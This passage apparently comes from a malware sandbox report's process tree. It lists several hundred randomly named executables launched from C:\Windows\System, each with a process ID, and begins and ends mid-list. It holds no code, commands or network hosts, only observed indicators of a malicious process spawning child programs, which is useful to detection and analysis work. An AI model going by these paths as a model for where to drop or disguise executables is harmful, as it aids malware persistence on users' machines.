- C:\Windows\System\cUWXvDP.exe
  C:\Windows\System\cUWXvDP.exe
  2⤵
  PID:11928
- C:\Windows\System\OySzJQE.exe
  C:\Windows\System\OySzJQE.exe
  2⤵
  PID:11952
- C:\Windows\System\DHfCadn.exe
  C:\Windows\System\DHfCadn.exe
  2⤵
  PID:11972
- C:\Windows\System\APlumEf.exe
  C:\Windows\System\APlumEf.exe
  2⤵
  PID:11992
- C:\Windows\System\gJHhuSC.exe
  C:\Windows\System\gJHhuSC.exe
  2⤵
  PID:12012
- C:\Windows\System\VyLVtkG.exe
  C:\Windows\System\VyLVtkG.exe
  2⤵
  PID:12036
- C:\Windows\System\RHTYGJd.exe
  C:\Windows\System\RHTYGJd.exe
  2⤵
  PID:12060
- C:\Windows\System\YnTKycU.exe
  C:\Windows\System\YnTKycU.exe
  2⤵
  PID:12076
- C:\Windows\System\IaEUCKt.exe
  C:\Windows\System\IaEUCKt.exe
  2⤵
  PID:12092
- C:\Windows\System\QxWrkif.exe
  C:\Windows\System\QxWrkif.exe
  2⤵
  PID:12112
- C:\Windows\System\UjkOAWS.exe
  C:\Windows\System\UjkOAWS.exe
  2⤵
  PID:12128
- C:\Windows\System\KkwDtOG.exe
  C:\Windows\System\KkwDtOG.exe
  2⤵
  PID:12148
- C:\Windows\System\CMaipXS.exe
  C:\Windows\System\CMaipXS.exe
  2⤵
  PID:12172
- C:\Windows\System\mGhVcAK.exe
  C:\Windows\System\mGhVcAK.exe
  2⤵
  PID:12200
- C:\Windows\System\XSxHtpd.exe
  C:\Windows\System\XSxHtpd.exe
  2⤵
  PID:12228
- C:\Windows\System\bQwWIZR.exe
  C:\Windows\System\bQwWIZR.exe
  2⤵
  PID:12252
- C:\Windows\System\GYGfYIH.exe
  C:\Windows\System\GYGfYIH.exe
  2⤵
  PID:12280
- C:\Windows\System\OHVhfys.exe
  C:\Windows\System\OHVhfys.exe
  2⤵
  PID:8060
- C:\Windows\System\BgZSNRU.exe
  C:\Windows\System\BgZSNRU.exe
  2⤵
  PID:10208
- C:\Windows\System\BZuOXYN.exe
  C:\Windows\System\BZuOXYN.exe
  2⤵
  PID:10232
- C:\Windows\System\tIVMuzF.exe
  C:\Windows\System\tIVMuzF.exe
  2⤵
  PID:7376
- C:\Windows\System\mcTXMCD.exe
  C:\Windows\System\mcTXMCD.exe
  2⤵
  PID:7532
- C:\Windows\System\DZenZOM.exe
  C:\Windows\System\DZenZOM.exe
  2⤵
  PID:7648
- C:\Windows\System\EhpyNwL.exe
  C:\Windows\System\EhpyNwL.exe
  2⤵
  PID:7496
- C:\Windows\System\PhEevWu.exe
  C:\Windows\System\PhEevWu.exe
  2⤵
  PID:6892
- C:\Windows\System\ADlIehz.exe
  C:\Windows\System\ADlIehz.exe
  2⤵
  PID:7940
- C:\Windows\System\SKKxjPh.exe
  C:\Windows\System\SKKxjPh.exe
  2⤵
  PID:8096
- C:\Windows\System\hQYctgT.exe
  C:\Windows\System\hQYctgT.exe
  2⤵
  PID:9116
- C:\Windows\System\vwMtnSk.exe
  C:\Windows\System\vwMtnSk.exe
  2⤵
  PID:6344
- C:\Windows\System\HVvuwSg.exe
  C:\Windows\System\HVvuwSg.exe
  2⤵
  PID:6420
- C:\Windows\System\ALjbewY.exe
  C:\Windows\System\ALjbewY.exe
  2⤵
  PID:6668
- C:\Windows\System\JxTmMSg.exe
  C:\Windows\System\JxTmMSg.exe
  2⤵
  PID:9248
- C:\Windows\System\EzunSOV.exe
  C:\Windows\System\EzunSOV.exe
  2⤵
  PID:9316
- C:\Windows\System\AnJLEWc.exe
  C:\Windows\System\AnJLEWc.exe
  2⤵
  PID:8448
- C:\Windows\System\FegoIFb.exe
  C:\Windows\System\FegoIFb.exe
  2⤵
  PID:10440
- C:\Windows\System\GqWZens.exe
  C:\Windows\System\GqWZens.exe
  2⤵
  PID:10576
- C:\Windows\System\mZQhvLn.exe
  C:\Windows\System\mZQhvLn.exe
  2⤵
  PID:8572
- C:\Windows\System\cLNQKRU.exe
  C:\Windows\System\cLNQKRU.exe
  2⤵
  PID:10636
- C:\Windows\System\KfrVENM.exe
  C:\Windows\System\KfrVENM.exe
  2⤵
  PID:10748
- C:\Windows\System\cBxgjze.exe
  C:\Windows\System\cBxgjze.exe
  2⤵
  PID:12292
- C:\Windows\System\CmXKTwt.exe
  C:\Windows\System\CmXKTwt.exe
  2⤵
  PID:12316
- C:\Windows\System\aPBhOUF.exe
  C:\Windows\System\aPBhOUF.exe
  2⤵
  PID:12336
- C:\Windows\System\JzTCwLR.exe
  C:\Windows\System\JzTCwLR.exe
  2⤵
  PID:12356
- C:\Windows\System\OMoaasw.exe
  C:\Windows\System\OMoaasw.exe
  2⤵
  PID:12380
- C:\Windows\System\MGIClFa.exe
  C:\Windows\System\MGIClFa.exe
  2⤵
  PID:12396
- C:\Windows\System\RRIbYga.exe
  C:\Windows\System\RRIbYga.exe
  2⤵
  PID:12412
- C:\Windows\System\CnJBnZE.exe
  C:\Windows\System\CnJBnZE.exe
  2⤵
  PID:12428
- C:\Windows\System\afkorSo.exe
  C:\Windows\System\afkorSo.exe
  2⤵
  PID:12444
- C:\Windows\System\tMIVeXy.exe
  C:\Windows\System\tMIVeXy.exe
  2⤵
  PID:12464
- C:\Windows\System\eWlHINq.exe
  C:\Windows\System\eWlHINq.exe
  2⤵
  PID:12484
- C:\Windows\System\ckIasLL.exe
  C:\Windows\System\ckIasLL.exe
  2⤵
  PID:12504
- C:\Windows\System\YfIwSmd.exe
  C:\Windows\System\YfIwSmd.exe
  2⤵
  PID:12528
- C:\Windows\System\HOqEojQ.exe
  C:\Windows\System\HOqEojQ.exe
  2⤵
  PID:12548
- C:\Windows\System\ezfEkcQ.exe
  C:\Windows\System\ezfEkcQ.exe
  2⤵
  PID:12564
- C:\Windows\System\ijnFJvJ.exe
  C:\Windows\System\ijnFJvJ.exe
  2⤵
  PID:12584
- C:\Windows\System\gWWdiDS.exe
  C:\Windows\System\gWWdiDS.exe
  2⤵
  PID:12604
- C:\Windows\System\YDLzDtg.exe
  C:\Windows\System\YDLzDtg.exe
  2⤵
  PID:12632
- C:\Windows\System\vkbsvlW.exe
  C:\Windows\System\vkbsvlW.exe
  2⤵
  PID:12652
- C:\Windows\System\mjujSIy.exe
  C:\Windows\System\mjujSIy.exe
  2⤵
  PID:12672
- C:\Windows\System\nkfzDDS.exe
  C:\Windows\System\nkfzDDS.exe
  2⤵
  PID:12696
- C:\Windows\System\SEwmyGS.exe
  C:\Windows\System\SEwmyGS.exe
  2⤵
  PID:9372
- C:\Windows\System\EsFrFIe.exe
  C:\Windows\System\EsFrFIe.exe
  2⤵
  PID:9416
- C:\Windows\System\iJIiyaZ.exe
  C:\Windows\System\iJIiyaZ.exe
  2⤵
  PID:5896
- C:\Windows\System\apYIAdp.exe
  C:\Windows\System\apYIAdp.exe
  2⤵
  PID:6260
- C:\Windows\System\KNbyxae.exe
  C:\Windows\System\KNbyxae.exe
  2⤵
  PID:13076
- C:\Windows\System\EamrZIv.exe
  C:\Windows\System\EamrZIv.exe
  2⤵
  PID:5260
- C:\Windows\System\sbWraUn.exe
  C:\Windows\System\sbWraUn.exe
  2⤵
  PID:10640
- C:\Windows\System\zXZgpyR.exe
  C:\Windows\System\zXZgpyR.exe
  2⤵
  PID:10660
- C:\Windows\System\nsFjRIN.exe
  C:\Windows\System\nsFjRIN.exe
  2⤵
  PID:5744
- C:\Windows\System\xwxIcxs.exe
  C:\Windows\System\xwxIcxs.exe
  2⤵
  PID:10252
- C:\Windows\System\rHiyGKX.exe
  C:\Windows\System\rHiyGKX.exe
  2⤵
  PID:10328
- C:\Windows\System\HarCnmG.exe
  C:\Windows\System\HarCnmG.exe
  2⤵
  PID:10516
- C:\Windows\System\nZfYFEv.exe
  C:\Windows\System\nZfYFEv.exe
  2⤵
  PID:10556
- C:\Windows\System\CBAUHsb.exe
  C:\Windows\System\CBAUHsb.exe
  2⤵
  PID:4272
- C:\Windows\System\vbDUFpD.exe
  C:\Windows\System\vbDUFpD.exe
  2⤵
  PID:7816
- C:\Windows\System\JvnqzCS.exe
  C:\Windows\System\JvnqzCS.exe
  2⤵
  PID:7912
- C:\Windows\System\cjzDbyF.exe
  C:\Windows\System\cjzDbyF.exe
  2⤵
  PID:8064
- C:\Windows\System\nADMLZB.exe
  C:\Windows\System\nADMLZB.exe
  2⤵
  PID:12560
- C:\Windows\System\YNYtima.exe
  C:\Windows\System\YNYtima.exe
  2⤵
  PID:12664
- C:\Windows\System\uPikDxL.exe
  C:\Windows\System\uPikDxL.exe
  2⤵
  PID:12716
- C:\Windows\System\CNJKdGs.exe
  C:\Windows\System\CNJKdGs.exe
  2⤵
  PID:12744
- C:\Windows\System\wdOsVRW.exe
  C:\Windows\System\wdOsVRW.exe
  2⤵
  PID:12780
- C:\Windows\System\UrdwsdC.exe
  C:\Windows\System\UrdwsdC.exe
  2⤵
  PID:12824
- C:\Windows\System\xMFeVFk.exe
  C:\Windows\System\xMFeVFk.exe
  2⤵
  PID:12868
- C:\Windows\System\HokPJjf.exe
  C:\Windows\System\HokPJjf.exe
  2⤵
  PID:12920
- C:\Windows\System\QQUrAiE.exe
  C:\Windows\System\QQUrAiE.exe
  2⤵
  PID:13184
- C:\Windows\System\jtKgBbB.exe
  C:\Windows\System\jtKgBbB.exe
  2⤵
  PID:13240
- C:\Windows\System\XZdfxse.exe
  C:\Windows\System\XZdfxse.exe
  2⤵
  PID:10804
- C:\Windows\System\HYSutao.exe
  C:\Windows\System\HYSutao.exe
  2⤵
  PID:8832
- C:\Windows\System\GOalINT.exe
  C:\Windows\System\GOalINT.exe
  2⤵
  PID:10764
- C:\Windows\System\oeGeAJX.exe
  C:\Windows\System\oeGeAJX.exe
  2⤵
  PID:8868
- C:\Windows\System\wYXClCn.exe
  C:\Windows\System\wYXClCn.exe
  2⤵
  PID:11552
- C:\Windows\System\hiilWnB.exe
  C:\Windows\System\hiilWnB.exe
  2⤵
  PID:7828
- C:\Windows\System\HlnNGws.exe
  C:\Windows\System\HlnNGws.exe
  2⤵
  PID:12088
- C:\Windows\System\EPCARLY.exe
  C:\Windows\System\EPCARLY.exe
  2⤵
  PID:10896
- C:\Windows\System\rnAPtrP.exe
  C:\Windows\System\rnAPtrP.exe
  2⤵
  PID:13104
- C:\Windows\System\SVeQsSc.exe
  C:\Windows\System\SVeQsSc.exe
  2⤵
  PID:9496
- C:\Windows\System\aaaFSIe.exe
  C:\Windows\System\aaaFSIe.exe
  2⤵
  PID:13188
- C:\Windows\System\HbXUwqb.exe
  C:\Windows\System\HbXUwqb.exe
  2⤵
  PID:8980
- C:\Windows\System\bUwtNNy.exe
  C:\Windows\System\bUwtNNy.exe
  2⤵
  PID:11640
- C:\Windows\System\svHwMZW.exe
  C:\Windows\System\svHwMZW.exe
  2⤵
  PID:12264
- C:\Windows\System\llctFXi.exe
  C:\Windows\System\llctFXi.exe
  2⤵
  PID:6612
- C:\Windows\System\xZSwNdP.exe
  C:\Windows\System\xZSwNdP.exe
  2⤵
  PID:13056
- C:\Windows\System\IBDqlqx.exe
  C:\Windows\System\IBDqlqx.exe
  2⤵
  PID:12612
- C:\Windows\System\kCbixjI.exe
  C:\Windows\System\kCbixjI.exe
  2⤵
  PID:12708
- C:\Windows\System\BpGbNPP.exe
  C:\Windows\System\BpGbNPP.exe
  2⤵
  PID:11508
- C:\Windows\System\RJtICDI.exe
  C:\Windows\System\RJtICDI.exe
  2⤵
  PID:10772
- C:\Windows\System\BHIFjKr.exe
  C:\Windows\System\BHIFjKr.exe
  2⤵
  PID:12908
- C:\Windows\System\wpooaTI.exe
  C:\Windows\System\wpooaTI.exe
  2⤵
  PID:8260
- C:\Windows\System\VGMGGJq.exe
  C:\Windows\System\VGMGGJq.exe
  2⤵
  PID:10700
- C:\Windows\System\qNFXUlL.exe
  C:\Windows\System\qNFXUlL.exe
  2⤵
  PID:10912
- C:\Windows\System\cErQJDZ.exe
  C:\Windows\System\cErQJDZ.exe
  2⤵
  PID:10464
- C:\Windows\System\aYajwaF.exe
  C:\Windows\System\aYajwaF.exe
  2⤵
  PID:10704
- C:\Windows\System\cvgnJYI.exe
  C:\Windows\System\cvgnJYI.exe
  2⤵
  PID:10248
- C:\Windows\System\IadqhMl.exe
  C:\Windows\System\IadqhMl.exe
  2⤵
  PID:872
- C:\Windows\System\miYVuLX.exe
  C:\Windows\System\miYVuLX.exe
  2⤵
  PID:9220
- C:\Windows\System\HCmKRPY.exe
  C:\Windows\System\HCmKRPY.exe
  2⤵
  PID:12936
- C:\Windows\System\JEGJpFs.exe
  C:\Windows\System\JEGJpFs.exe
  2⤵
  PID:10552
- C:\Windows\System\WbPdUEk.exe
  C:\Windows\System\WbPdUEk.exe
  2⤵
  PID:13304
- C:\Windows\System\QGZoNjD.exe
  C:\Windows\System\QGZoNjD.exe
  2⤵
  PID:8612
- C:\Windows\System\BgTPOaZ.exe
  C:\Windows\System\BgTPOaZ.exe
  2⤵
  PID:10120
- C:\Windows\System\TTuSDtL.exe
  C:\Windows\System\TTuSDtL.exe
  2⤵
  PID:10404
- C:\Windows\System\ZwbsWIE.exe
  C:\Windows\System\ZwbsWIE.exe
  2⤵
  PID:9272
- C:\Windows\System\wCYoScO.exe
  C:\Windows\System\wCYoScO.exe
  2⤵
  PID:10388
- C:\Windows\System\THnZNwz.exe
  C:\Windows\System\THnZNwz.exe
  2⤵
  PID:10304
- C:\Windows\System\dVyiBjz.exe
  C:\Windows\System\dVyiBjz.exe
  2⤵
  PID:13328
- C:\Windows\System\nOZiqmI.exe
  C:\Windows\System\nOZiqmI.exe
  2⤵
  PID:13352
- C:\Windows\System\NHeafku.exe
  C:\Windows\System\NHeafku.exe
  2⤵
  PID:13368
- C:\Windows\System\RaFshKX.exe
  C:\Windows\System\RaFshKX.exe
  2⤵
  PID:13388
- C:\Windows\System\sCbAQnP.exe
  C:\Windows\System\sCbAQnP.exe
  2⤵
  PID:13404
- C:\Windows\System\vwPalIk.exe
  C:\Windows\System\vwPalIk.exe
  2⤵
  PID:13428
- C:\Windows\System\hsUVeAr.exe
  C:\Windows\System\hsUVeAr.exe
  2⤵
  PID:13448
- C:\Windows\System\NiSzHeV.exe
  C:\Windows\System\NiSzHeV.exe
  2⤵
  PID:13548
- C:\Windows\System\wdeHNhv.exe
  C:\Windows\System\wdeHNhv.exe
  2⤵
  PID:13708
- C:\Windows\System\ejMJcgf.exe
  C:\Windows\System\ejMJcgf.exe
  2⤵
  PID:13728
- C:\Windows\System\ufJilhK.exe
  C:\Windows\System\ufJilhK.exe
  2⤵
  PID:13744
- C:\Windows\System\ASPSiKE.exe
  C:\Windows\System\ASPSiKE.exe
  2⤵
  PID:13772
- C:\Windows\System\FmMIzEM.exe
  C:\Windows\System\FmMIzEM.exe
  2⤵
  PID:13788
- C:\Windows\System\cWNLNWe.exe
  C:\Windows\System\cWNLNWe.exe
  2⤵
  PID:14000
- C:\Windows\System\mOfEqDo.exe
  C:\Windows\System\mOfEqDo.exe
  2⤵
  PID:14112
- C:\Windows\System\BiBBLQm.exe
  C:\Windows\System\BiBBLQm.exe
  2⤵
  PID:14156
- C:\Windows\System\IqsASub.exe
  C:\Windows\System\IqsASub.exe
  2⤵
  PID:14204
- C:\Windows\System\EwdeljS.exe
  C:\Windows\System\EwdeljS.exe
  2⤵
  PID:14252
- C:\Windows\System\XNRQEqt.exe
  C:\Windows\System\XNRQEqt.exe
  2⤵
  PID:14284
- C:\Windows\System\fzGXEqf.exe
  C:\Windows\System\fzGXEqf.exe
  2⤵
  PID:14300
- C:\Windows\System\xXqlFjO.exe
  C:\Windows\System\xXqlFjO.exe
  2⤵
  PID:14316
- C:\Windows\System\KZSxbNo.exe
  C:\Windows\System\KZSxbNo.exe
  2⤵
  PID:14332
- C:\Windows\System\IIyHrmL.exe
  C:\Windows\System\IIyHrmL.exe
  2⤵
  PID:9680
- C:\Windows\System\myDgsIO.exe
  C:\Windows\System\myDgsIO.exe
  2⤵
  PID:10436
- C:\Windows\System\xmZUTLX.exe
  C:\Windows\System\xmZUTLX.exe
  2⤵
  PID:7356
- C:\Windows\System\HjLqhgL.exe
  C:\Windows\System\HjLqhgL.exe
  2⤵
  PID:13400
- C:\Windows\System\oJWnwUo.exe
  C:\Windows\System\oJWnwUo.exe
  2⤵
  PID:13364
- C:\Windows\System\NeOEMcX.exe
  C:\Windows\System\NeOEMcX.exe
  2⤵
  PID:13376
- C:\Windows\System\ZccJGfR.exe
  C:\Windows\System\ZccJGfR.exe
  2⤵
  PID:13440
- C:\Windows\System\BNzpfXp.exe
  C:\Windows\System\BNzpfXp.exe
  2⤵
  PID:13820
- C:\Windows\System\wgHlHMw.exe
  C:\Windows\System\wgHlHMw.exe
  2⤵
  PID:5980
- C:\Windows\System\EJXnrtw.exe
  C:\Windows\System\EJXnrtw.exe
  2⤵
  PID:13876
- C:\Windows\System\qupEJGJ.exe
  C:\Windows\System\qupEJGJ.exe
  2⤵
  PID:13860
- C:\Windows\System\XXIuyyQ.exe
  C:\Windows\System\XXIuyyQ.exe
  2⤵
  PID:13908
- C:\Windows\System\tPdEmUA.exe
  C:\Windows\System\tPdEmUA.exe
  2⤵
  PID:13952
- C:\Windows\System\bkuDUEa.exe
  C:\Windows\System\bkuDUEa.exe
  2⤵
  PID:13932
- C:\Windows\System\TqWobDm.exe
  C:\Windows\System\TqWobDm.exe
  2⤵
  PID:13992
- C:\Windows\System\TWCoLno.exe
  C:\Windows\System\TWCoLno.exe
  2⤵
  PID:13840
- C:\Windows\System\nFOKvkB.exe
  C:\Windows\System\nFOKvkB.exe
  2⤵
  PID:14052
- C:\Windows\System\fSACmDf.exe
  C:\Windows\System\fSACmDf.exe
  2⤵
  PID:14036
- C:\Windows\System\KRStZWh.exe
  C:\Windows\System\KRStZWh.exe
  2⤵
  PID:14032
- C:\Windows\System\vUKAfWk.exe
  C:\Windows\System\vUKAfWk.exe
  2⤵
  PID:14104
- C:\Windows\System\NIvHDmo.exe
  C:\Windows\System\NIvHDmo.exe
  2⤵
  PID:14084
- C:\Windows\System\qZobjre.exe
  C:\Windows\System\qZobjre.exe
  2⤵
  PID:11616
- C:\Windows\System\AvgvLay.exe
  C:\Windows\System\AvgvLay.exe
  2⤵
  PID:14212
- C:\Windows\System\uwhVGFw.exe
  C:\Windows\System\uwhVGFw.exe
  2⤵
  PID:14228
- C:\Windows\System\opCxYSp.exe
  C:\Windows\System\opCxYSp.exe
  2⤵
  PID:14260
- C:\Windows\System\AMmBoBZ.exe
  C:\Windows\System\AMmBoBZ.exe
  2⤵
  PID:14292
- C:\Windows\System\qGQmmfv.exe
  C:\Windows\System\qGQmmfv.exe
  2⤵
  PID:14276
- C:\Windows\System\FmrXcqb.exe
  C:\Windows\System\FmrXcqb.exe
  2⤵
  PID:13740
- C:\Windows\System\xkVrAQG.exe
  C:\Windows\System\xkVrAQG.exe
  2⤵
  PID:13652
- C:\Windows\System\tYBqiJF.exe
  C:\Windows\System\tYBqiJF.exe
  2⤵
  PID:13736
- C:\Windows\System\ieodCxl.exe
  C:\Windows\System\ieodCxl.exe
  2⤵
  PID:13796
- C:\Windows\System\jTFLIPt.exe
  C:\Windows\System\jTFLIPt.exe
  2⤵
  PID:13844
- C:\Windows\System\OUwBAGe.exe
  C:\Windows\System\OUwBAGe.exe
  2⤵
  PID:13936
- C:\Windows\System\VxUMOZi.exe
  C:\Windows\System\VxUMOZi.exe
  2⤵
  PID:13928
- C:\Windows\System\ocbgprW.exe
  C:\Windows\System\ocbgprW.exe
  2⤵
  PID:11900
- C:\Windows\System\srYFjYB.exe
  C:\Windows\System\srYFjYB.exe
  2⤵
  PID:13320
- C:\Windows\System\ZopaHtB.exe
  C:\Windows\System\ZopaHtB.exe
  2⤵
  PID:13628
- C:\Windows\System\uWHVtwN.exe
  C:\Windows\System\uWHVtwN.exe
  2⤵
  PID:13600
- C:\Windows\System\mjbKvFR.exe
  C:\Windows\System\mjbKvFR.exe
  2⤵
  PID:10300
- C:\Windows\System\mGYSYDZ.exe
  C:\Windows\System\mGYSYDZ.exe
  2⤵
  PID:13608
- C:\Windows\System\hoFxEZg.exe
  C:\Windows\System\hoFxEZg.exe
  2⤵
  PID:13864
- C:\Windows\System\fzUeFLI.exe
  C:\Windows\System\fzUeFLI.exe
  2⤵
  PID:13832
- C:\Windows\System\pqMafMT.exe
  C:\Windows\System\pqMafMT.exe
  2⤵
  PID:9660
- C:\Windows\System\ylRYgVP.exe
  C:\Windows\System\ylRYgVP.exe
  2⤵
  PID:14132
- C:\Windows\System\ubhVZno.exe
  C:\Windows\System\ubhVZno.exe
  2⤵
  PID:13924
- C:\Windows\System\ihjvSJS.exe
  C:\Windows\System\ihjvSJS.exe
  2⤵
  PID:8696
- C:\Windows\System\naKiHej.exe
  C:\Windows\System\naKiHej.exe
  2⤵
  PID:14244
- C:\Windows\System\KpxYMDO.exe
  C:\Windows\System\KpxYMDO.exe
  2⤵
  PID:11472
- C:\Windows\System\DWwUZLK.exe
  C:\Windows\System\DWwUZLK.exe
  2⤵
  PID:7568
- C:\Windows\System\HJQLxzE.exe
  C:\Windows\System\HJQLxzE.exe
  2⤵
  PID:7392
- C:\Windows\System\hKlvBwp.exe
  C:\Windows\System\hKlvBwp.exe
  2⤵
  PID:8344
- C:\Windows\System\YKKNWlv.exe
  C:\Windows\System\YKKNWlv.exe
  2⤵
  PID:9616
- C:\Windows\System\hwfVcOM.exe
  C:\Windows\System\hwfVcOM.exe
  2⤵
  PID:8656
- C:\Windows\System\rRwnsev.exe
  C:\Windows\System\rRwnsev.exe
  2⤵
  PID:14308
- C:\Windows\System\dwQNJwC.exe
  C:\Windows\System\dwQNJwC.exe
  2⤵
  PID:11720
- C:\Windows\System\SIcIsdV.exe
  C:\Windows\System\SIcIsdV.exe
  2⤵
  PID:7320
- C:\Windows\System\GGwVXCt.exe
  C:\Windows\System\GGwVXCt.exe
  2⤵
  PID:13684
- C:\Windows\System\HoUClMU.exe
  C:\Windows\System\HoUClMU.exe
  2⤵
  PID:11184
- C:\Windows\System\jRKCXwV.exe
  C:\Windows\System\jRKCXwV.exe
  2⤵
  PID:5572
- C:\Windows\System\BDMjfIP.exe
  C:\Windows\System\BDMjfIP.exe
  2⤵
  PID:3684
- C:\Windows\System\bMlRHWr.exe
  C:\Windows\System\bMlRHWr.exe
  2⤵
  PID:4784
- C:\Windows\System\OSljGrH.exe
  C:\Windows\System\OSljGrH.exe
  2⤵
  PID:13956
- C:\Windows\System\kfPfhVb.exe
  C:\Windows\System\kfPfhVb.exe
  2⤵
  PID:4420
- C:\Windows\System\SrcPMRf.exe
  C:\Windows\System\SrcPMRf.exe
  2⤵
  PID:14168
- C:\Windows\System\FlyAsVv.exe
  C:\Windows\System\FlyAsVv.exe
  2⤵
  PID:14280
- C:\Windows\System\RzqGgyv.exe
  C:\Windows\System\RzqGgyv.exe
  2⤵
  PID:10308
- C:\Windows\System\MhrTzLl.exe
  C:\Windows\System\MhrTzLl.exe
  2⤵
  PID:1884
- C:\Windows\System\TLVdAIP.exe
  C:\Windows\System\TLVdAIP.exe
  2⤵
  PID:12328
- C:\Windows\System\zuXKJWa.exe
  C:\Windows\System\zuXKJWa.exe
  2⤵
  PID:2192
- C:\Windows\System\hhHMZkE.exe
  C:\Windows\System\hhHMZkE.exe
  2⤵
  PID:13232
- C:\Windows\System\hZuiZIz.exe
  C:\Windows\System\hZuiZIz.exe
  2⤵
  PID:4968
- C:\Windows\System\tCaBVMn.exe
  C:\Windows\System\tCaBVMn.exe
  2⤵
  PID:424
- C:\Windows\System\SlYiUFs.exe
  C:\Windows\System\SlYiUFs.exe
  2⤵
  PID:912
- C:\Windows\System\MieJFzf.exe
  C:\Windows\System\MieJFzf.exe
  2⤵
  PID:8228
- C:\Windows\System\JwboOCG.exe
  C:\Windows\System\JwboOCG.exe
  2⤵
  PID:1060
- C:\Windows\System\FpOiATC.exe
  C:\Windows\System\FpOiATC.exe
  2⤵
  PID:3220
- C:\Windows\System\JVWNgZx.exe
  C:\Windows\System\JVWNgZx.exe
  2⤵
  PID:3168
- C:\Windows\System\OOXOsHQ.exe
  C:\Windows\System\OOXOsHQ.exe
  2⤵
  PID:2208
- C:\Windows\System\GEvWiAb.exe
  C:\Windows\System\GEvWiAb.exe
  2⤵
  PID:760
- C:\Windows\System\TcFfdCA.exe
  C:\Windows\System\TcFfdCA.exe
  2⤵
  PID:4212
- C:\Windows\System\emMPlso.exe
  C:\Windows\System\emMPlso.exe
  2⤵
  PID:14144
- C:\Windows\System\msuVNdN.exe
  C:\Windows\System\msuVNdN.exe
  2⤵
  PID:4628
- C:\Windows\System\yamHoJQ.exe
  C:\Windows\System\yamHoJQ.exe
  2⤵
  PID:2364
- C:\Windows\System\HsuzXkB.exe
  C:\Windows\System\HsuzXkB.exe
  2⤵
  PID:3256
- C:\Windows\System\BLabsLK.exe
  C:\Windows\System\BLabsLK.exe
  2⤵
  PID:4436
- C:\Windows\System\zJfpbqw.exe
  C:\Windows\System\zJfpbqw.exe
  2⤵
  PID:5100
- C:\Windows\System\fyfFkVb.exe
  C:\Windows\System\fyfFkVb.exe
  2⤵
  PID:3920
- C:\Windows\System\UoZwjRU.exe
  C:\Windows\System\UoZwjRU.exe
  2⤵
  PID:3992
- C:\Windows\System\MdortUJ.exe
  C:\Windows\System\MdortUJ.exe
  2⤵
  PID:5240
- C:\Windows\System\SLFakoR.exe
  C:\Windows\System\SLFakoR.exe
  2⤵
  PID:2744
- C:\Windows\System\YhfoVpU.exe
  C:\Windows\System\YhfoVpU.exe
  2⤵
  PID:11820
- C:\Windows\System\WKplvXy.exe
  C:\Windows\System\WKplvXy.exe
  2⤵
  PID:5284
- C:\Windows\System\FzAAIjB.exe
  C:\Windows\System\FzAAIjB.exe
  2⤵
  PID:2624
- C:\Windows\System\dQBgwJA.exe
  C:\Windows\System\dQBgwJA.exe
  2⤵
  PID:1912
- C:\Windows\System\AyKbpHB.exe
  C:\Windows\System\AyKbpHB.exe
  2⤵
  PID:13360
- C:\Windows\System\zWFwexd.exe
  C:\Windows\System\zWFwexd.exe
  2⤵
  PID:228
- C:\Windows\System\QIQKTQM.exe
  C:\Windows\System\QIQKTQM.exe
  2⤵
  PID:2856
- C:\Windows\System\LxMlUQd.exe
  C:\Windows\System\LxMlUQd.exe
  2⤵
  PID:5032
- C:\Windows\System\IXtAefP.exe
  C:\Windows\System\IXtAefP.exe
  2⤵
  PID:13580
- C:\Windows\System\zREqhzV.exe
  C:\Windows\System\zREqhzV.exe
  2⤵
  PID:796
- C:\Windows\System\oXLLlVT.exe
  C:\Windows\System\oXLLlVT.exe
  2⤵
  PID:3124
- C:\Windows\System\pHQSOCD.exe
  C:\Windows\System\pHQSOCD.exe
  2⤵
  PID:5428
- C:\Windows\System\jxViAoA.exe
  C:\Windows\System\jxViAoA.exe
  2⤵
  PID:2728
- C:\Windows\System\zSfmnmv.exe
  C:\Windows\System\zSfmnmv.exe
  2⤵
  PID:5968
- C:\Windows\System\qURnndp.exe
  C:\Windows\System\qURnndp.exe
  2⤵
  PID:3904
- C:\Windows\System\HQdqqTL.exe
  C:\Windows\System\HQdqqTL.exe
  2⤵
  PID:6012
- C:\Windows\System\GwFkNgC.exe
  C:\Windows\System\GwFkNgC.exe
  2⤵
  PID:6008
- C:\Windows\System\vJauXCP.exe
  C:\Windows\System\vJauXCP.exe
  2⤵
  PID:2684
- C:\Windows\System\ZNbXTCv.exe
  C:\Windows\System\ZNbXTCv.exe
  2⤵
  PID:6112
- C:\Windows\System\vInDYBS.exe
  C:\Windows\System\vInDYBS.exe
  2⤵
  PID:5404
- C:\Windows\System\SgnVqlW.exe
  C:\Windows\System\SgnVqlW.exe
  2⤵
  PID:4156
- C:\Windows\System\kaZELCU.exe
  C:\Windows\System\kaZELCU.exe
  2⤵
  PID:5388
- C:\Windows\System\zTXhffw.exe
  C:\Windows\System\zTXhffw.exe
  2⤵
  PID:5648
- C:\Windows\System\dYBjSDo.exe
  C:\Windows\System\dYBjSDo.exe
  2⤵
  PID:13468
- C:\Windows\System\KMtWGXi.exe
  C:\Windows\System\KMtWGXi.exe
  2⤵
  PID:2980
- C:\Windows\System\NQOmjZj.exe
  C:\Windows\System\NQOmjZj.exe
  2⤵
  PID:4304
- C:\Windows\System\gJkRScs.exe
  C:\Windows\System\gJkRScs.exe
  2⤵
  PID:4448
- C:\Windows\System\uHinWmf.exe
  C:\Windows\System\uHinWmf.exe
  2⤵
  PID:3212
- C:\Windows\System\PcgEkjB.exe
  C:\Windows\System\PcgEkjB.exe
  2⤵
  PID:5772
- C:\Windows\System\PlojYCv.exe
  C:\Windows\System\PlojYCv.exe
  2⤵
  PID:3024
- C:\Windows\System\KBzudVV.exe
  C:\Windows\System\KBzudVV.exe
  2⤵
  PID:5348
- C:\Windows\System\HXWZwub.exe
  C:\Windows\System\HXWZwub.exe
  2⤵
  PID:7064
- C:\Windows\System\AKladMy.exe
  C:\Windows\System\AKladMy.exe
  2⤵
  PID:2468
- C:\Windows\System\zDwYMBT.exe
  C:\Windows\System\zDwYMBT.exe
  2⤵
  PID:3772
- C:\Windows\System\UZwpCEm.exe
  C:\Windows\System\UZwpCEm.exe
  2⤵
  PID:6732
- C:\Windows\System\AbcmOsA.exe
  C:\Windows\System\AbcmOsA.exe
  2⤵
  PID:6796
- C:\Windows\System\JvOhMdL.exe
  C:\Windows\System\JvOhMdL.exe
  2⤵
  PID:4472
- C:\Windows\System\kKQLsAz.exe
  C:\Windows\System\kKQLsAz.exe
  2⤵
  PID:10424
- C:\Windows\System\qcRtVOG.exe
  C:\Windows\System\qcRtVOG.exe
  2⤵
  PID:12260
- C:\Windows\System\pJeAzAg.exe
